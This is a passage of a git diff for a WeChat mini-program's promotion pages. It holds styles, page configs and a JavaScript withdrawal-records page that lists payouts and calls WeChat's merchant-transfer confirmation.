+.amount-sub { + font-size: 22rpx; + color: #9CA3AF; + margin-top: 16rpx; + display: block; +} + +.withdraw-btn { + width: 100%; + height: 104rpx; + background: #F3F4F6; + color: #9CA3AF; + border-radius: 52rpx; + font-size: 30rpx; + font-weight: 600; + display: flex; + align-items: center; + justify-content: center; + margin-bottom: 32rpx; + border: none; +} + +.withdraw-btn::after { border: none; } + +.withdraw-btn:not(.disabled) { + background: #F43F5E; + color: #FFFFFF; +} + +.record-link { + display: flex; + align-items: center; + justify-content: center; + gap: 6rpx; + font-size: 26rpx; + color: #F43F5E; + font-weight: 600; +} + +/* ===== 四格统计 ===== */ +.stats-grid { + display: grid; + grid-template-columns: repeat(4, 1fr); + gap: 24rpx; + margin-bottom: 40rpx; +} + +.stat-item { + background: #FFFFFF; + padding: 28rpx 16rpx; + border-radius: 32rpx; + border: 1rpx solid #F3F4F6; + text-align: center; + box-shadow: 0 4rpx 20rpx rgba(0,0,0,0.04); +} + +.stat-val { + font-size: 40rpx; + font-weight: 800; + color: #111827; + display: block; + margin-bottom: 4rpx; +} + +.stat-val.highlight { color: #F59E0B; } + +.stat-label { + font-size: 22rpx; + color: #6B7280; + font-weight: 500; +} + +/* ===== 通用 Section ===== */ +.section { + background: #FFFFFF; + border-radius: 48rpx; + border: 1rpx solid #F3F4F6; + box-shadow: 0 4rpx 20rpx rgba(0,0,0,0.04); + margin-bottom: 40rpx; + overflow: hidden; +} + +.section-header { + padding: 40rpx; + display: flex; + align-items: center; + gap: 16rpx; +} + +.section-header.border-b { + border-bottom: 1rpx solid #F9FAFB; +} + +.header-icon { + width: 56rpx; + height: 56rpx; + border-radius: 16rpx; + display: flex; + align-items: center; + justify-content: center; +} + +.header-icon.red { background: #FFF1F2; } + +.section-title { + font-size: 28rpx; + font-weight: 800; + color: #111827; +} + +.count-label { + font-size: 24rpx; + color: #9CA3AF; + font-weight: 400; + margin-left: 8rpx; +} + +/* 规则列表 */ +.rule-list { + padding: 0 40rpx 40rpx; + display: flex; + flex-direction: column; + gap: 28rpx; +} + +.rule-item { + display: flex; + gap: 24rpx; + align-items: flex-start; +} + +.rule-bullet { + font-size: 20rpx; + margin-top: 4rpx; +} + +.rule-text { + font-size: 24rpx; + color: #6B7280; + line-height: 1.5; +} + +.highlight { color: #F43F5E; font-weight: 700; } + +/* 用户列表 Tab */ +.tab-bar { + display: flex; + background: #F9FAFB; + margin: 16rpx 32rpx; + padding: 8rpx; + border-radius: 24rpx; +} + +.tab-item { + flex: 1; + text-align: center; + padding: 20rpx 0; + font-size: 24rpx; + color: #6B7280; + font-weight: 500; + border-radius: 16rpx; + transition: all 0.2s; +} + +.tab-item.active { + background: #FFFFFF; + color: #F43F5E; + font-weight: 800; + box-shadow: 0 4rpx 12rpx rgba(0,0,0,0.05); +} + +.empty-state { + padding: 100rpx 80rpx; + text-align: center; + display: flex; + flex-direction: column; + align-items: center; +} + +.empty-icon { + width: 160rpx; + height: 160rpx; + background: linear-gradient(to top right, #F9FAFB, #FFFFFF); + border-radius: 50%; + display: flex; + align-items: center; + justify-content: center; + margin-bottom: 32rpx; + box-shadow: inset 0 2rpx 10rpx rgba(0,0,0,0.02); +} + +.empty-text { + font-size: 28rpx; + color: #9CA3AF; + font-weight: 600; +} + +.empty-sub { + font-size: 20rpx; + color: #D1D5DB; + margin-top: 8rpx; +} + +/* ===== 操作菜单 ===== */ +.menu-card { + background: #FFFFFF; + border-radius: 48rpx; + border: 1rpx solid #F3F4F6; + box-shadow: 0 4rpx 20rpx rgba(0,0,0,0.04); + overflow: hidden; + margin-bottom: 40rpx; +} + +.menu-item { + display: flex; + align-items: center; + padding: 32rpx 40rpx; + border-bottom: 1rpx solid #F9FAFB; + background: #FFFFFF; + text-align: left; + line-height: 1.4; +} + +.menu-item:last-child { border-bottom: none; } + +.menu-item.share-btn { + width: 100%; + margin: 0; + border-radius: 0; +} + +.menu-item.share-btn::after { border: none; } + +.menu-icon-wrap { + width: 88rpx; + height: 88rpx; + border-radius: 32rpx; + display: flex; + align-items: center; + justify-content: center; + margin-right: 32rpx; +} + +.menu-icon-wrap.rose { background: #FFF1F2; color: #F43F5E; } +.menu-icon-wrap.emerald { background: #ECFDF5; color: #10B981; } +.menu-icon-wrap.violet { background: #F5F3FF; color: #8B5CF6; } + +.menu-info { flex: 1; } + +.menu-name { + font-size: 28rpx; + font-weight: 800; + color: #111827; + display: block; +} + +.menu-desc { + font-size: 22rpx; + color: #6B7280; + display: block; + margin-top: 4rpx; +} + +.menu-arrow { + font-size: 36rpx; + color: #D1D5DB; +} + +/* ===== 底部提示 ===== */ +.footer-tip { + padding: 40rpx 60rpx; + text-align: center; +} + +.footer-tip text { + display: block; + font-size: 22rpx; + color: #D1D5DB; + line-height: 1.6; + font-weight: 500; +} + +/* ===== 绑定用户列表条目 ===== */ +.user-item { + display: flex; + align-items: center; + padding: 28rpx 32rpx; + border-bottom: 1rpx solid #F3F4F6; +} +.user-item:last-child { border-bottom: none; } + +.user-avatar { + width: 80rpx; + height: 80rpx; + border-radius: 50%; + flex-shrink: 0; + margin-right: 24rpx; + background: #F3F4F6; +} +.user-avatar-placeholder { + display: flex; + align-items: center; + justify-content: center; + background: #FECDD3; +} +.user-avatar-letter { + font-size: 36rpx; + color: #F43F5E; + font-weight: 700; +} + +.user-info { + flex: 1; + display: flex; + flex-direction: column; + gap: 6rpx; +} +.user-name { + font-size: 28rpx; + font-weight: 600; + color: #1F2937; +} +.user-time { + font-size: 22rpx; + color: #9CA3AF; +} + +.user-badge { + font-size: 22rpx; + font-weight: 600; + padding: 6rpx 18rpx; + border-radius: 20rpx; + flex-shrink: 0; +} +.badge-active { + background: #FEF3C7; + color: #D97706; +} +.badge-paid { + background: #D1FAE5; + color: #059669; +} +.badge-expired { + background: #F3F4F6; + color: #9CA3AF; +} + +/* 列表底部提示 */ +.list-footer { + padding: 32rpx 0; + text-align: center; +} +.list-footer-text { + font-size: 24rpx; + color: #D1D5DB; +} + +.safe-bottom { height: 60rpx; } + +/* ===== 提现金额弹框 ===== */ +.withdraw-mask { + position: fixed; + inset: 0; + background: rgba(15, 23, 42, 0.45); + display: flex; + align-items: center; + justify-content: center; + z-index: 9999; +} + +.withdraw-dialog { + width: 640rpx; + padding: 40rpx 40rpx 32rpx; + border-radius: 32rpx; + background: #ffffff; + box-shadow: 0 24rpx 60rpx rgba(15, 23, 42, 0.25); +} + +.dialog-title { + font-size: 32rpx; + font-weight: 700; + color: #111827; +} + +.dialog-sub { + margin-top: 8rpx; + font-size: 24rpx; + color: #6b7280; +} + +.amount-input-row { + margin-top: 32rpx; + padding: 16rpx 20rpx; + border-radius: 20rpx; + background: #f9fafb; + display: flex; + align-items: center; +} + +.currency { + font-size: 32rpx; + font-weight: 600; + color: #111827; + margin-right: 8rpx; +} + +.amount-input { + flex: 1; + font-size: 32rpx; + font-weight: 600; + color: #111827; +} + +.amount-input::placeholder { + color: #9ca3af; +} + +.amount-hint { + margin-top: 8rpx; + font-size: 22rpx; + color: #9ca3af; +} +.fee-actual-row { + margin-top: 12rpx; + font-size: 24rpx; + color: #6b7280; +} +.fee-actual-row .actual { + margin-left: 24rpx; + color: #059669; + font-weight: 500; +} + +.error-text { + margin-top: 8rpx; + font-size: 22rpx; + color: #dc2626; +} + +.dialog-actions { + margin-top: 32rpx; + display: flex; + gap: 16rpx; +} + +.dialog-actions .btn { + flex: 1; + height: 80rpx; + border-radius: 9999rpx; + display: flex; + align-items: center; + justify-content: center; + font-size: 28rpx; + font-weight: 600; +} + +.dialog-actions .btn.cancel { + background: #f3f4f6; + color: #4b5563; +} + +.dialog-actions .btn.confirm { + background: #f43f5e; + color: #ffffff; +} + diff --git a/miniprogram/pages/promo/poster.json b/miniprogram/pages/promo/poster.json index 4fc8ed5..44070df 100644 --- a/miniprogram/pages/promo/poster.json +++ b/miniprogram/pages/promo/poster.json @@ -1,6 +1,6 @@ -{ - "navigationBarTitleText": "生成推广海报", - "navigationBarBackgroundColor": "#FFFFFF", - "navigationBarTextStyle": "black", - "usingComponents": {} +{ + "navigationBarTitleText": "生成推广海报", + "navigationBarBackgroundColor": "#FFFFFF", + "navigationBarTextStyle": "black", + "usingComponents": {} } \ No newline at end of file diff --git a/miniprogram/pages/promo/poster.wxml b/miniprogram/pages/promo/poster.wxml index a88c0ae..2b3eac2 100644 --- a/miniprogram/pages/promo/poster.wxml +++ b/miniprogram/pages/promo/poster.wxml @@ -1,16 +1,16 @@ - - - - - - {{loadingText}} - - - - - 保存到相册后可分享至朋友圈 - - - + + + + + + {{loadingText}} + + + + + 保存到相册后可分享至朋友圈 + + + diff --git a/miniprogram/pages/promo/poster.wxss b/miniprogram/pages/promo/poster.wxss index 44742b1..65df932 100644 --- a/miniprogram/pages/promo/poster.wxss +++ b/miniprogram/pages/promo/poster.wxss @@ -1,83 +1,83 @@ -.container { - min-height: 100vh; - background-color: #f8fafc; - display: flex; - flex-direction: column; - align-items: center; - padding: 40rpx 0; -} - -.poster-preview { - position: relative; - width: 600rpx; - min-height: 800rpx; - background-color: #fff; - border-radius: 32rpx; - box-shadow: 0 20rpx 50rpx rgba(0, 0, 0, 0.1); - overflow: hidden; -} - -.poster-img { - width: 100%; - display: block; -} - -.loading-mask { - position: absolute; - top: 0; left: 0; right: 0; bottom: 0; - background-color: rgba(255, 255, 255, 0.9); - display: flex; - flex-direction: column; - align-items: center; - justify-content: center; - z-index: 10; -} - -.loading-spinner { - width: 60rpx; height: 60rpx; - border: 4rpx solid #f3f4f6; - border-top: 4rpx solid #f43f5e; - border-radius: 50%; - animation: spin 1s linear infinite; - margin-bottom: 20rpx; -} - -@keyframes spin { - 0% { transform: rotate(0deg); } - 100% { transform: rotate(360deg); } -} - -.loading-text { font-size: 24rpx; color: #64748b; } - -.action-bar { - position: fixed; - bottom: 0; left: 0; right: 0; - background-color: rgba(255, 255, 255, 0.95); - backdrop-filter: blur(10px); - padding: 40rpx; - display: flex; - flex-direction: column; - align-items: center; - border-radius: 40rpx 40rpx 0 0; - box-shadow: 0 -10rpx 30rpx rgba(0, 0, 0, 0.05); -} - -.save-btn { - width: 100% !important; - height: 100rpx; - background: #f43f5e; - color: #fff; - border-radius: 24rpx; - font-size: 32rpx; - font-weight: bold; - box-shadow: 0 10rpx 20rpx rgba(244, 63, 94, 0.2); - margin-bottom: 20rpx; -} - -.save-btn[disabled] { - background: #cbd5e1; - box-shadow: none; -} - -.tip-text { font-size: 24rpx; color: #94a3b8; margin-bottom: 20rpx; } -.safe-bottom { height: env(safe-area-inset-bottom); } +.container { + min-height: 100vh; + background-color: #f8fafc; + display: flex; + flex-direction: column; + align-items: center; + padding: 40rpx 0; +} + +.poster-preview { + position: relative; + width: 600rpx; + min-height: 800rpx; + background-color: #fff; + border-radius: 32rpx; + box-shadow: 0 20rpx 50rpx rgba(0, 0, 0, 0.1); + overflow: hidden; +} + +.poster-img { + width: 100%; + display: block; +} + +.loading-mask { + position: absolute; + top: 0; left: 0; right: 0; bottom: 0; + background-color: rgba(255, 255, 255, 0.9); + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + z-index: 10; +} + +.loading-spinner { + width: 60rpx; height: 60rpx; + border: 4rpx solid #f3f4f6; + border-top: 4rpx solid #f43f5e; + border-radius: 50%; + animation: spin 1s linear infinite; + margin-bottom: 20rpx; +} + +@keyframes spin { + 0% { transform: rotate(0deg); } + 100% { transform: rotate(360deg); } +} + +.loading-text { font-size: 24rpx; color: #64748b; } + +.action-bar { + position: fixed; + bottom: 0; left: 0; right: 0; + background-color: rgba(255, 255, 255, 0.95); + backdrop-filter: blur(10px); + padding: 40rpx; + display: flex; + flex-direction: column; + align-items: center; + border-radius: 40rpx 40rpx 0 0; + box-shadow: 0 -10rpx 30rpx rgba(0, 0, 0, 0.05); +} + +.save-btn { + width: 100% !important; + height: 100rpx; + background: #f43f5e; + color: #fff; + border-radius: 24rpx; + font-size: 32rpx; + font-weight: bold; + box-shadow: 0 10rpx 20rpx rgba(244, 63, 94, 0.2); + margin-bottom: 20rpx; +} + +.save-btn[disabled] { + background: #cbd5e1; + box-shadow: none; +} + +.tip-text { font-size: 24rpx; color: #94a3b8; margin-bottom: 20rpx; } +.safe-bottom { height: env(safe-area-inset-bottom); } diff --git a/miniprogram/pages/promo/withdrawals.js b/miniprogram/pages/promo/withdrawals.js index 29354a3..314936e 100644 --- a/miniprogram/pages/promo/withdrawals.js +++ b/miniprogram/pages/promo/withdrawals.js @@ -1,236 +1,236 @@ -// pages/promo/withdrawals.js - 提现记录列表页 -const { request } = require('../../utils/request') - -Page({ - data: { - list: [], - page: 1, - pageSize: 10, - total: 0, - loading: false, - finished: false, - // 确认收款按钮 loading 状态(按单条) - confirmingId: null - }, - - onLoad() { - this.loadData(true) - }, - - // 加载提现记录列表(reset 为 true 时重置分页) - loadData(reset = false) { - if (this.data.loading) return - if (!reset && this.data.finished) return - - const page = reset ? 1 : this.data.page - this.setData({ loading: true }) - - request({ - url: `/api/distribution/withdrawals?page=${page}&pageSize=${this.data.pageSize}`, - method: 'GET', - success: (res) => { - const payload = res && res.data - if (payload && payload.code === 200 && payload.data) { - const { list = [], total = 0 } = payload.data - const mapped = list.map(item => { - const statusCode = this._normalizeStatusCode(item.status) - const amountYuan = item.amountYuan != null - ? item.amountYuan - : (item.amountFen != null ? (item.amountFen / 100).toFixed(2) : '') - - const balanceAfterYuan = item.balanceAfterYuan != null - ? item.balanceAfterYuan - : (item.balanceAfterFen != null ? (item.balanceAfterFen / 100).toFixed(2) : '') - - const feeYuan = item.feeYuan != null - ? item.feeYuan - : (item.feeFen != null ? (item.feeFen / 100).toFixed(2) : '0.00') - - return { - ...item, - statusCode, - amountYuan, - balanceAfterYuan, - feeYuan, - // 申请时间:用 createdAt - applyAtStr: this._fmtTime(item.createdAt), - // 处理时间:用 transferAt(如有) - handleAtStr: this._fmtTime(item.transferAt), - statusTagText: this._statusTagText(statusCode), - statusTagClass: this._statusTagClass(statusCode) - } - }) - const newList = reset ? mapped : [...this.data.list, ...mapped] - this.setData({ - list: newList, - total, - page: page + 1, - finished: newList.length >= total - }) - } - }, - complete: () => { - this.setData({ loading: false }) - } - }) - }, - - // 时间戳格式化 - _fmtTime(ts) { - if (!ts) return '' - const d = new Date(ts * 1000) - if (isNaN(d.getTime())) return '' - const y = d.getFullYear() - const m = String(d.getMonth() + 1).padStart(2, '0') - const day = String(d.getDate()).padStart(2, '0') - const hh = String(d.getHours()).padStart(2, '0') - const mm = String(d.getMinutes()).padStart(2, '0') - return `${y}-${m}-${day} ${hh}:${mm}` - }, - - // 将后端 status(数字 / 中文 / 英文)统一转成数字枚举: - // 0=审核中,1=已驳回,2=待收款,3=已收款,4=已过期 - _normalizeStatusCode(status) { - if (typeof status === 'number') return status - if (typeof status === 'string') { - const s = status.trim() - if (/^\d+$/.test(s)) return parseInt(s, 10) - switch (s) { - case 'pending': - case '审核中': - return 0 - case 'rejected': - case '已驳回': - return 1 - case '待收款': - return 2 - case 'transferred': - case '已收款': - return 3 - case '已过期': - return 4 - default: - return 0 - } - } - return 0 - }, - - // 状态中文文案 - _statusTagText(code) { - switch (code) { - case 0: - return '待审核' - case 1: - return '已驳回' - case 2: - return '待收款' - case 3: - return '已收款' - case 4: - return '已过期' - default: - return '' - } - }, - - // 顶部右侧小标签样式 - _statusTagClass(code) { - switch (code) { - case 0: - return 'tag-pending' - case 1: - return 'tag-rejected' - case 2: - return 'tag-wait' - case 3: - return 'tag-transferred' - case 4: - return 'tag-expired' - default: - return '' - } - }, - - // 用户点击单条「确认收款」 - handleConfirmReceipt(e) { - const id = e.currentTarget.dataset.id - if (!id || this.data.confirmingId === id) return - - const item = (this.data.list || []).find(x => String(x.id) === String(id)) - if (!item) { - wx.showToast({ title: '记录不存在', icon: 'none' }) - return - } - - // 兼容驼峰 / 下划线字段 - const packageInfo = item.packageInfo || item.package_info - if (!packageInfo) { - wx.showToast({ title: '该提现单无法确认收款,请联系客服', icon: 'none' }) - return - } - - if (!wx.canIUse || !wx.canIUse('requestMerchantTransfer')) { - wx.showModal({ - content: '当前微信版本过低,无法使用确认收款功能,请升级微信后重试', - showCancel: false - }) - return - } - - this.setData({ confirmingId: id }) - - wx.showLoading({ title: '正在调起确认收款...' }) - - // 获取 AppID:优先记录里的,其次运行时获取 - let appId = item.appId || item.app_id - try { - if (!appId && wx.getAccountInfoSync) { - const info = wx.getAccountInfoSync() - appId = info && info.miniProgram && info.miniProgram.appId - } - } catch (err) {} - - // 商户号:从记录中取(后端已写入 mch_id) - const mchId = item.mchId || item.mch_id - - wx.requestMerchantTransfer({ - mchId, - appId, - // 文档里字段名是 package,对应后台返回的 package_info - package: packageInfo, - success: (res) => { - console.log('requestMerchantTransfer success', res) - wx.showToast({ title: '已调起收款确认', icon: 'none', duration: 2000 }) - // 主动查询转账状态并更新订单,实现及时刷新(参考商户单号查询:https://pay.weixin.qq.com/doc/v3/merchant/4012716437) - request({ - url: '/api/distribution/withdrawals/query-transfer', - method: 'POST', - data: { id: item.id }, - success: (r) => { - const p = r && r.data - if (p && p.code === 200 && p.data && p.data.status === 3) { - wx.showToast({ title: '已收款', icon: 'success' }) - } - }, - complete: () => { - this.loadData(true) - } - }) - }, - fail: (err) => { - console.error('requestMerchantTransfer fail', err) - wx.showToast({ title: '调起失败,请稍后重试', icon: 'none' }) - }, - complete: () => { - wx.hideLoading() - this.setData({ confirmingId: null }) - } - }) - }, - - onReachBottom() { - this.loadData(false) - } -}) - +// pages/promo/withdrawals.js - 提现记录列表页 +const { request } = require('../../utils/request') + +Page({ + data: { + list: [], + page: 1, + pageSize: 10, + total: 0, + loading: false, + finished: false, + // 确认收款按钮 loading 状态(按单条) + confirmingId: null + }, + + onLoad() { + this.loadData(true) + }, + + // 加载提现记录列表(reset 为 true 时重置分页) + loadData(reset = false) { + if (this.data.loading) return + if (!reset && this.data.finished) return + + const page = reset ? 1 : this.data.page + this.setData({ loading: true }) + + request({ + url: `/api/distribution/withdrawals?page=${page}&pageSize=${this.data.pageSize}`, + method: 'GET', + success: (res) => { + const payload = res && res.data + if (payload && payload.code === 200 && payload.data) { + const { list = [], total = 0 } = payload.data + const mapped = list.map(item => { + const statusCode = this._normalizeStatusCode(item.status) + const amountYuan = item.amountYuan != null + ? item.amountYuan + : (item.amountFen != null ? (item.amountFen / 100).toFixed(2) : '') + + const balanceAfterYuan = item.balanceAfterYuan != null + ? item.balanceAfterYuan + : (item.balanceAfterFen != null ? (item.balanceAfterFen / 100).toFixed(2) : '') + + const feeYuan = item.feeYuan != null + ? item.feeYuan + : (item.feeFen != null ? (item.feeFen / 100).toFixed(2) : '0.00') + + return { + ...item, + statusCode, + amountYuan, + balanceAfterYuan, + feeYuan, + // 申请时间:用 createdAt + applyAtStr: this._fmtTime(item.createdAt), + // 处理时间:用 transferAt(如有) + handleAtStr: this._fmtTime(item.transferAt), + statusTagText: this._statusTagText(statusCode), + statusTagClass: this._statusTagClass(statusCode) + } + }) + const newList = reset ? mapped : [...this.data.list, ...mapped] + this.setData({ + list: newList, + total, + page: page + 1, + finished: newList.length >= total + }) + } + }, + complete: () => { + this.setData({ loading: false }) + } + }) + }, + + // 时间戳格式化 + _fmtTime(ts) { + if (!ts) return '' + const d = new Date(ts * 1000) + if (isNaN(d.getTime())) return '' + const y = d.getFullYear() + const m = String(d.getMonth() + 1).padStart(2, '0') + const day = String(d.getDate()).padStart(2, '0') + const hh = String(d.getHours()).padStart(2, '0') + const mm = String(d.getMinutes()).padStart(2, '0') + return `${y}-${m}-${day} ${hh}:${mm}` + }, + + // 将后端 status(数字 / 中文 / 英文)统一转成数字枚举: + // 0=审核中,1=已驳回,2=待收款,3=已收款,4=已过期 + _normalizeStatusCode(status) { + if (typeof status === 'number') return status + if (typeof status === 'string') { + const s = status.trim() + if (/^\d+$/.test(s)) return parseInt(s, 10) + switch (s) { + case 'pending': + case '审核中': + return 0 + case 'rejected': + case '已驳回': + return 1 + case '待收款': + return 2 + case 'transferred': + case '已收款': + return 3 + case '已过期': + return 4 + default: + return 0 + } + } + return 0 + }, + + // 状态中文文案 + _statusTagText(code) { + switch (code) { + case 0: + return '待审核' + case 1: + return '已驳回' + case 2: + return '待收款' + case 3: + return '已收款' + case 4: + return '已过期' + default: + return '' + } + }, + + // 顶部右侧小标签样式 + _statusTagClass(code) { + switch (code) { + case 0: + return 'tag-pending' + case 1: + return 'tag-rejected' + case 2: + return 'tag-wait' + case 3: + return 'tag-transferred' + case 4: + return 'tag-expired' + default: + return '' + } + }, + + // 用户点击单条「确认收款」 + handleConfirmReceipt(e) { + const id = e.currentTarget.dataset.id + if (!id || this.data.confirmingId === id) return + + const item = (this.data.list || []).find(x => String(x.id) === String(id)) + if (!item) { + wx.showToast({ title: '记录不存在', icon: 'none' }) + return + } + + // 兼容驼峰 / 下划线字段 + const packageInfo = item.packageInfo || item.package_info + if (!packageInfo) { + wx.showToast({ title: '该提现单无法确认收款,请联系客服', icon: 'none' }) + return + } + + if (!wx.canIUse || !wx.canIUse('requestMerchantTransfer')) { + wx.showModal({ + content: '当前微信版本过低,无法使用确认收款功能,请升级微信后重试', + showCancel: false + }) + return + } + + this.setData({ confirmingId: id }) + + wx.showLoading({ title: '正在调起确认收款...' }) + + // 获取 AppID:优先记录里的,其次运行时获取 + let appId = item.appId || item.app_id + try { + if (!appId && wx.getAccountInfoSync) { + const info = wx.getAccountInfoSync() + appId = info && info.miniProgram && info.miniProgram.appId + } + } catch (err) {} + + // 商户号:从记录中取(后端已写入 mch_id) + const mchId = item.mchId || item.mch_id + + wx.requestMerchantTransfer({ + mchId, + appId, + // 文档里字段名是 package,对应后台返回的 package_info + package: packageInfo, + success: (res) => { + console.log('requestMerchantTransfer success', res) + wx.showToast({ title: '已调起收款确认', icon: 'none', duration: 2000 }) + // 主动查询转账状态并更新订单,实现及时刷新(参考商户单号查询:https://pay.weixin.qq.com/doc/v3/merchant/4012716437) + request({ + url: '/api/distribution/withdrawals/query-transfer', + method: 'POST', + data: { id: item.id }, + success: (r) => { + const p = r && r.data + if (p && p.code === 200 && p.data && p.data.status === 3) { + wx.showToast({ title: '已收款', icon: 'success' }) + } + }, + complete: () => { + this.loadData(true) + } + }) + }, + fail: (err) => { + console.error('requestMerchantTransfer fail', err) + wx.showToast({ title: '调起失败,请稍后重试', icon: 'none' }) + }, + complete: () => { + wx.hideLoading() + this.setData({ confirmingId: null }) + } + }) + }, + + onReachBottom() { + this.loadData(false) + } +}) + diff --git a/miniprogram/pages/promo/withdrawals.json b/miniprogram/pages/promo/withdrawals.json index 35f1b24..5a32976 100644 --- a/miniprogram/pages/promo/withdrawals.json +++ b/miniprogram/pages/promo/withdrawals.json @@ -1,5 +1,5 @@ -{ - "navigationBarTitleText": "提现记录", - "usingComponents": {} -} - +{ + "navigationBarTitleText": "提现记录", + "usingComponents": {} +} + diff --git a/miniprogram/pages/promo/withdrawals.wxml b/miniprogram/pages/promo/withdrawals.wxml index 3505ee8..dda0443 100644 --- a/miniprogram/pages/promo/withdrawals.wxml +++ b/miniprogram/pages/promo/withdrawals.wxml @@ -1,77 +1,77 @@ - - - - - - - - 📭 - - 暂无提现记录 - 成功发起提现后,将在这里展示进度 - - - - - - - - 单号:{{item.out_bill_no}} - - {{item.statusTagText}} - - - - - - - ¥{{item.amountYuan}} - - - 手续费 - ¥{{item.feeYuan}} - - - 提现后余额 - ¥{{item.balanceAfterYuan}} - - - - - - 申请时间:{{item.applyAtStr}} - 处理时间:{{item.handleAtStr}} - - - - - 拒绝原因: - {{item.auditNote}} - - - - - - - - - - 加载中... - - - — 已加载全部 — - - - - - - - + + + + + + + + 📭 + + 暂无提现记录 + 成功发起提现后,将在这里展示进度 + + + + + + + + 单号:{{item.out_bill_no}} + + {{item.statusTagText}} + + + + + + + ¥{{item.amountYuan}} + + + 手续费 + ¥{{item.feeYuan}} + + + 提现后余额 + ¥{{item.balanceAfterYuan}} + + + + + + 申请时间:{{item.applyAtStr}} + 处理时间:{{item.handleAtStr}} + + + + + 拒绝原因: + {{item.auditNote}} + + + + + + + + + + 加载中... + + + — 已加载全部 — + + + + + + + diff --git a/miniprogram/pages/promo/withdrawals.wxss b/miniprogram/pages/promo/withdrawals.wxss index d06f78b..84ed4e8 100644 --- a/miniprogram/pages/promo/withdrawals.wxss +++ b/miniprogram/pages/promo/withdrawals.wxss @@ -1,244 +1,244 @@ -.page { - min-height: 100vh; - background: #f9fafb; - padding: 24rpx 32rpx 32rpx; - box-sizing: border-box; -} - -.header { - margin-bottom: 24rpx; -} - -.title { - font-size: 32rpx; - font-weight: 700; - color: #111827; -} - -.sub-title { - margin-top: 6rpx; - font-size: 24rpx; - color: #6b7280; -} - -.empty { - margin-top: 80rpx; - display: flex; - flex-direction: column; - align-items: center; - color: #9ca3af; -} - -.empty-icon { - width: 120rpx; - height: 120rpx; - border-radius: 60rpx; - background: #f3f4f6; - display: flex; - align-items: center; - justify-content: center; - font-size: 56rpx; - margin-bottom: 16rpx; -} - -.empty-text { - font-size: 28rpx; - margin-bottom: 4rpx; - color: #4b5563; -} - -.empty-sub { - font-size: 24rpx; - color: #9ca3af; -} - -.list { - margin-top: 12rpx; -} - -.item { - background: #ffffff; - border-radius: 24rpx; - padding: 24rpx 28rpx; - margin-bottom: 20rpx; - box-shadow: 0 4rpx 16rpx rgba(15, 23, 42, 0.04); -} - -.item-header { - display: flex; - justify-content: space-between; - align-items: center; - margin-bottom: 16rpx; -} - -.order-no { - font-size: 24rpx; - color: #6b7280; -} - -.status-tag { - padding: 6rpx 16rpx; - border-radius: 999rpx; - font-size: 22rpx; -} - -.tag-pending { - background: #e5e7eb; - color: #4b5563; -} - -.tag-approved { - background: #dbeafe; - color: #1d4ed8; -} - -.tag-wait { - background: #dbeafe; - color: #1d4ed8; -} - -.tag-rejected { - background: #fee2e2; - color: #b91c1c; -} - -.tag-transferred { - background: #dcfce7; - color: #15803d; -} - -.tag-expired { - background: #f3f4f6; - color: #9ca3af; -} - -.item-top { - display: flex; - justify-content: space-between; - align-items: flex-start; -} - -.amount-block { - display: flex; - flex-direction: column; - gap: 6rpx; -} - -.amount { - font-size: 32rpx; - font-weight: 700; - color: #111827; -} - -.fee-block { - display: flex; - flex-direction: column; - gap: 4rpx; -} - -.fee-label { - font-size: 22rpx; - color: #9ca3af; -} - -.fee-value { - font-size: 26rpx; - color: #6b7280; -} - -.balance-block { - display: flex; - flex-direction: column; - align-items: flex-end; -} - -.balance-label { - font-size: 22rpx; - color: #9ca3af; -} - -.balance-value { - margin-top: 4rpx; - font-size: 26rpx; - color: #111827; -} - -.time-block { - margin-top: 16rpx; - display: flex; - flex-direction: column; - gap: 6rpx; -} - -.time-row { - font-size: 22rpx; - color: #6b7280; -} - -.reject-box { - margin-top: 16rpx; - padding: 16rpx; - border-radius: 12rpx; - background: #fef2f2; -} - -.reject-title { - font-size: 24rpx; - font-weight: 600; - color: #b91c1c; -} - -.reject-text { - font-size: 24rpx; - color: #b91c1c; -} - -.item-bottom { - margin-top: 10rpx; -} - -.note { - font-size: 24rpx; - color: #6b7280; -} - -.footer { - padding: 16rpx 0; - text-align: center; -} - -.footer-text { - font-size: 24rpx; - color: #9ca3af; -} - -.confirm-wrapper { - margin-top: 20rpx; - padding: 0 8rpx 4rpx; -} - -.confirm-btn { - width: 100%; - height: 80rpx; - border-radius: 999rpx; - background: linear-gradient(135deg, #FF6B8A 0%, #FF8E53 100%); - color: #ffffff; - font-size: 30rpx; - font-weight: 600; - box-shadow: 0 10rpx 18rpx rgba(255, 107, 138, 0.35); - border: none; - display: flex; - align-items: center; - justify-content: center; - padding: 0; -} - -.confirm-btn[disabled] { - opacity: 0.7; - box-shadow: none; -} - -.safe-bottom { - height: calc(32rpx + env(safe-area-inset-bottom)); -} - +.page { + min-height: 100vh; + background: #f9fafb; + padding: 24rpx 32rpx 32rpx; + box-sizing: border-box; +} + +.header { + margin-bottom: 24rpx; +} + +.title { + font-size: 32rpx; + font-weight: 700; + color: #111827; +} + +.sub-title { + margin-top: 6rpx; + font-size: 24rpx; + color: #6b7280; +} + +.empty { + margin-top: 80rpx; + display: flex; + flex-direction: column; + align-items: center; + color: #9ca3af; +} + +.empty-icon { + width: 120rpx; + height: 120rpx; + border-radius: 60rpx; + background: #f3f4f6; + display: flex; + align-items: center; + justify-content: center; + font-size: 56rpx; + margin-bottom: 16rpx; +} + +.empty-text { + font-size: 28rpx; + margin-bottom: 4rpx; + color: #4b5563; +} + +.empty-sub { + font-size: 24rpx; + color: #9ca3af; +} + +.list { + margin-top: 12rpx; +} + +.item { + background: #ffffff; + border-radius: 24rpx; + padding: 24rpx 28rpx; + margin-bottom: 20rpx; + box-shadow: 0 4rpx 16rpx rgba(15, 23, 42, 0.04); +} + +.item-header { + display: flex; + justify-content: space-between; + align-items: center; + margin-bottom: 16rpx; +} + +.order-no { + font-size: 24rpx; + color: #6b7280; +} + +.status-tag { + padding: 6rpx 16rpx; + border-radius: 999rpx; + font-size: 22rpx; +} + +.tag-pending { + background: #e5e7eb; + color: #4b5563; +} + +.tag-approved { + background: #dbeafe; + color: #1d4ed8; +} + +.tag-wait { + background: #dbeafe; + color: #1d4ed8; +} + +.tag-rejected { + background: #fee2e2; + color: #b91c1c; +} + +.tag-transferred { + background: #dcfce7; + color: #15803d; +} + +.tag-expired { + background: #f3f4f6; + color: #9ca3af; +} + +.item-top { + display: flex; + justify-content: space-between; + align-items: flex-start; +} + +.amount-block { + display: flex; + flex-direction: column; + gap: 6rpx; +} + +.amount { + font-size: 32rpx; + font-weight: 700; + color: #111827; +} + +.fee-block { + display: flex; + flex-direction: column; + gap: 4rpx; +} + +.fee-label { + font-size: 22rpx; + color: #9ca3af; +} + 